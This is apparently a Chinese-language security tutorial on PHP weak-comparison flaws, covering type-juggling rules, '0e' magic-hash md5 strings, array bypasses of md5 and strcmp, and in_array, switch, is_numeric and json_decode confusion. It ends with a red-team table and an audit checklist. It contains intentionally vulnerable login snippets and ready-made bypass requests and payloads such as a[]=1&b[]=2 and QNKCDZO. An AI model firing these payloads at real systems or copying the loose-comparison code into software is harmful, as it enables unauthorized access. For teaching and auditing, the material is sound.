目录


一、弱比较原理

vs =

运算符规则结论
==先自动转换类型再比”值”宽松比较,漏洞之源
===类型和值都相同才为 true严格比较,安全写法
!===宽松不等
!=====严格不等

转换规则(记忆表)

<?php
"1" == 1        // true
"1" === 1       // false
"abc" == 0      // true(非数字字符串 → 0)
"" == 0         // true
"0" == false    // true
"abc" == false  // false(非空字符串 → true)
null == false   // true
[] == false     // true
0 == "0"        // true
0 == "abc"      // true("abc"转数字得 0)
"1" == "01"     // true
"1e2" == 100    // true(科学计数法)
?>

攻防要点:PHP 8 之前 "abc" == 0 为 true;PHP 8 起字符串与数字比较改为”数字优先”,"abc" == 0 为 false。但 "0abc" == 0 依然 true(取数字前缀)。审计时先确认目标 PHP 版本。

为什么这能绕过认证

<?php
// 典型错误代码
if ($_GET['password'] == $admin_password) { ... }
// 若 $admin_password = "0",则 password=0 或 password=0e... 均可绕过
// 若 $admin_password 为数字 0,任意非数字字符串 == 0 为 true(PHP<8)
?>

二、0e魔法哈希

原理

"0e123" 在数字比较中被解析为 0 × 10^123 = 0。因此任何形如 0e\d+ 的字符串两两弱比较都相等:

<?php
"0e123456789" == "0e987654321"   // true!都是 0
"0e462097431906509019562988736854" == "0e830400451993494058759219817635"  // true
?>

md5 0e 碰撞(认证绕过经典)

<?php
// 漏洞代码:md5 结果直接弱比较
if (md5($_GET['a']) == md5($_GET['b'])) { echo "admin!"; }
// 寻找两个字符串,其 md5 值为 "0e" + 纯数字
?>

已知 0e 碰撞对(可直接用于做题/测试):

字符串md5 值
QNKCDZO0e830400451993494058759219817635
s878926199a0e545993274517709034328855841020
s155964671a0e342768416822451524974117254469
s214587387a0e848240448830537924465865611904
s1091221200a0e940624217856561557821327094
2406107080e462097431906509019562988736854
aabg7XSs0e087386482136013740957780965295
GET /admin.php?a=QNKCDZO&b=s878926199a
→ md5(a) == md5(b) → 0e... == 0e... → true → 绕过

若题目要求 md5(a) == md5(b) 且无其它限制,直接上表;若用 === 严格比较则需真碰撞(见下节)。

sha1 同理

<?php
// sha1 也有 0e 字符串
"sha1('aaroZmOk') == sha1('aaK1STfY')"  // 均为 0e 开头 → == true
?>

三、md5碰撞与数组绕过

数组绕过(最通用)

<?php
// 漏洞代码
if (md5($_GET['a']) === md5($_GET['b'])) { echo "pass"; }
// 严格比较,0e 无效 → 用数组
?>
GET /x.php?a[]=1&b[]=2
行为结果
md5([1,2])报错(数组无法哈希)
报错返回值NULL
NULL === NULLtrue
<?php
md5($_GET['a']) === md5($_GET['b'])
// a[]=1&b[]=2 → NULL === NULL → true → 绕过
// PHP 7.2 起 md5() 对数组触发 TypeError,但部分环境仍返回 NULL;
// PHP 8 抛 TypeError → 需配合异常处理场景
?>

数组绕过对 sha1()strcmp()in_array()preg_match()(被 is_array 拦截前)同样适用。

strcmp 绕过

<?php
// 漏洞代码
if (strcmp($_POST['password'], $admin_pass) == 0) { echo "pass"; }
// strcmp() 在 PHP<8 中传入数组时返回 NULL
// NULL == 0 → true → 绕过
?>
POST /login.php   password[]=x

json 数字混淆

<?php
// 漏洞代码:json_decode 后弱比较
$data = json_decode(file_get_contents("php://input"), true);
if ($data['isAdmin'] == 1) { echo "admin!"; }
?>
POST /api.php   {"isAdmin": "1"}      # "1" == 1 → true
POST /api.php   {"isAdmin": true}     # true == 1 → true
POST /api.php   {"isAdmin": "1abc"}   # PHP<8 "1abc"==1 → true

四、is_numeric与数字型绕过

is_numeric 的宽判定

<?php
is_numeric("123");     // true
is_numeric("1.5");     // true
is_numeric("1e3");     // true(科学计数法!)
is_numeric("0x1A");    // PHP7 false(十六进制不再支持)
is_numeric(" 123");    // true(前导空格容忍)
is_numeric("123 ");    // PHP8 前 true,PHP8 起 false(尾随空格)
is_numeric("\t123");   // true(水平制表符)
?>

绕过案例

<?php
// 漏洞代码
if (is_numeric($_GET['id'])) {
    $row = query("SELECT * FROM user WHERE id=" . $_GET['id']);
    // "1e3" 通过 is_numeric,拼进 SQL 仍是 "1e3"
    // 部分数据库解析 "1e3" → 1*10^3,但若拼接 "1e3 and 1=1" 会失败
}
// 常见绕过:is_numeric 通过后接注入
// id=1e3%20or%201=1  (PHP8 前 "1e3 or 1=1" is_numeric 为 false)
?>

实际场景中 is_numeric 更多用于拦截而非放行,绕过思路:

绕过手法原理
科学计数法 1e3是数字,但不同写法
空格 \t \n 前缀is_numeric 容忍,SQL/比较可能不同
十六进制(PHP7 前)0x2e 是数字但拼接语义不同
换行截断 %0a部分解析器截断

五、in_array与switch的弱比较坑

in_array 默认弱比较

<?php
// 漏洞代码:白名单校验
$whitelist = [1, 2, 3];
if (in_array($_GET['id'], $whitelist)) {
    // id=1abc → in_array 弱比较 "1abc"==1 → true → 进入分支
    include("page_" . $_GET['id'] . ".php");  // page_1abc.php 或路径注入
}
?>
写法行为
in_array($x, [1,2,3])弱比较,“1abc” 通过
in_array($x, [1,2,3], true)严格比较,推荐

switch 同理

<?php
switch ($_GET['op']) {
    case "add": ...   // op=add 匹配
    case 1:    ...   // 字符串 "1abc" 弱匹配数字 1
}
// PHP8 前 switch 用弱比较:op=1abc → 命中 case 1
?>

实战路径

<?php
// 结合场景:白名单数组 + 文件操作
$allowed = ['read', 'write'];
$op = $_GET['op'];
if (in_array($op, $allowed)) {   // op=0 → 0==read(false), 0==write(false)
    file_get_contents($_GET['file']);
}
?>

审计口诀:看到 in_array/switch/== 没有 true/===,先想弱类型绕过


六、json_decode与类型混淆

类型注入

<?php
$data = json_decode($_POST['json'], true);
// 攻击者可控键的类型:
// {"age": "1e2"}  → 字符串
// {"age": 100}    → 整数
// {"age": true}   → 布尔
// {"age": ["x"]}  → 数组
?>
攻击手法场景
布尔注入 "isAdmin": true权限判断 if ($data['isAdmin'])
数字注入弱比较 == 绕过
数组注入绕过字符串过滤函数
键覆盖{"user":"admin","user":"root"} 后者覆盖前者(部分解析器)

键值覆盖(对象 vs 关联数组)

<?php
// 用对象而非数组接收时:
$data = json_decode($_POST['json']);   // 不传 true → stdClass
if ($data->role == 'admin') { ... }
// 攻击:{"role": ["admin"]} → 数组 == 字符串?false
// 攻击:{"role": 0} → PHP8 前 0 == 'admin' → true!
?>

七、认证绕过综合案例

案例一:经典 == 登录绕过

<?php
// login.php
$user = $_POST['user'];
$pass = $_POST['pass'];
if ($user == "admin" && $pass == $admin_pass) { echo "flag"; }
?>
版本绕过
PHP 8 前pass=0"0" == $admin_pass(若 admin_pass 是非数字串 → false;若比较对象是 0false → true)
通用$admin_pass 从数据库读出为 "0"(如 strval(false) 存入),pass=0 直接通过
POST /login.php  user=admin&pass=0

案例二:md5 双参数

<?php
if (md5($_GET['a']) == md5($_GET['b'])) echo "flag";
?>
GET /vuln.php?a=QNKCDZO&b=s878926199a    # 0e 碰撞
GET /vuln.php?a[]=1&b[]=2                # 数组 NULL

案例三:strcmp 数组

<?php
if (strcmp($_POST['token'], $_SESSION['token']) == 0) { echo "admin"; }
?>
POST /api.php  token[]=1    # strcmp → NULL → NULL==0 → true

案例四:弱比较 + 类型转换链

<?php
if ($_GET['role'] == 0) { echo "admin!"; }
// 任意非数字字符串 == 0 → true(PHP 8 前)
?>
GET /admin.php?role=guest     # "guest" == 0 → true

八、红队视角总结

漏洞模式特征代码攻击载荷
== 弱比较if ($x == $y)数字 0、0e 字符串、数组
md5 0e 碰撞md5($a) == md5($b)QNKCDZO / s878926199a
md5 数组md5($a) === md5($b)a[]=1&b[]=2
strcmp 数组strcmp($a,$b) == 0token[]=x
in_array 白名单in_array($x, $arr)1abc0
switch 弱匹配switch ($op)1abc
json 类型json_decode($x){"isAdmin": true}
is_numeric 宽松is_numeric($x)1e3、前导空格

审计清单

  1. 搜索 ==in_arrayswitchstrcmpmd5is_numeric
  2. 确认 PHP 版本(8 前后弱比较行为差异大)
  3. 输入可控性:是否经过 $_GET/$_POST/$_COOKIE/json
  4. 绕过后的下游动作:进入 include/eval/SQL 拼接则升级为 RCE/SQLi

返回 PHP 总目录 | 前端基础总目录